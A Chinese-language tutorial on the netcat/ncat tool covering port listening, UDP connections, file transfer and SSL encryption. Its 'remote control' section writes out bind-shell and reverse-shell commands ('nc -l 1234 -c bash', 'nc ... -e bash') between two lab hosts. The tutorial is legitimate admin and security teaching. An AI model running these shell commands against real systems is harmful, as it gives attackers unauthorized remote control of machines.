nc介紹
ncat
/nc
既是一個埠掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。
在大多數 Debian 發行版中,nc 是預設可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 並不會預設被安裝。 需要用下列命令手工安裝。
yum install nmap-ncat -y
監聽埠
使用-l
選指定監聽埠,加上-v
選項顯示詳細資訊
[root@host_1 ~]# nc -lv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
連線埠
nc預設就是連線埠,-v
顯示詳細資訊,-u
連線udp埠
[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
檢視系統開啟的udp埠
[root@host_1 ~]# netstat -unlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:3139 0.0.0.0:* 691/dhclient
udp 0 0 127.0.0.1:323 0.0.0.0:* 640/chronyd
udp 0 0 0.0.0.0:68 0.0.0.0:* 691/dhclient
udp6 0 0 :::45845 :::* 691/dhclient
udp6 0 0 ::1:323 :::* 640/chronyd
連線udp埠
[root@host_2 ~]# nc -vu 192.168.159.134 3139
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:3139.
傳輸檔案
在埠已連線的基礎上,可以進行檔案傳輸。
- 主機1作為接受端開啟埠
[root@host_1 testdir]# nc -lv 1234 > receive.txt
主機2上連線埠並傳輸檔案
[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.
遠端控制
現有host_1
host_2
兩臺主機,演示host_2
控制Host_1
host_1 192.168.159.134
host_2 192.168.159.130
- 正向控制
host_1
執行:
[root@host_1 testdir]# nc -l 1234 -c bash
host_2
執行:
[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
hostname
host_1
nc
命令通過建立的連線將bash
傳遞給對方。上面host_2
連線成功後,執行hostname
命令返回host_1
主機名,表示已成功控制host_1
由於正向控制是在被控端開啟埠,所以若存在防火牆很有可能無法連線成功
- 反向連線
主機host_2
監聽埠
[root@host_2 ~]# nc -l 1234
主機host_1
連線埠並推送bash
[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash) Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.130:1234.
控制端主機開啟埠監聽,被控端主動連線埠並推送bash
到控制端。
nc傳輸加密
由於nc
使用明文進行傳輸資料,所以引入ncat
命令。ncat
命令使用--ssl
選項表示開啟ssl
管道加密傳輸。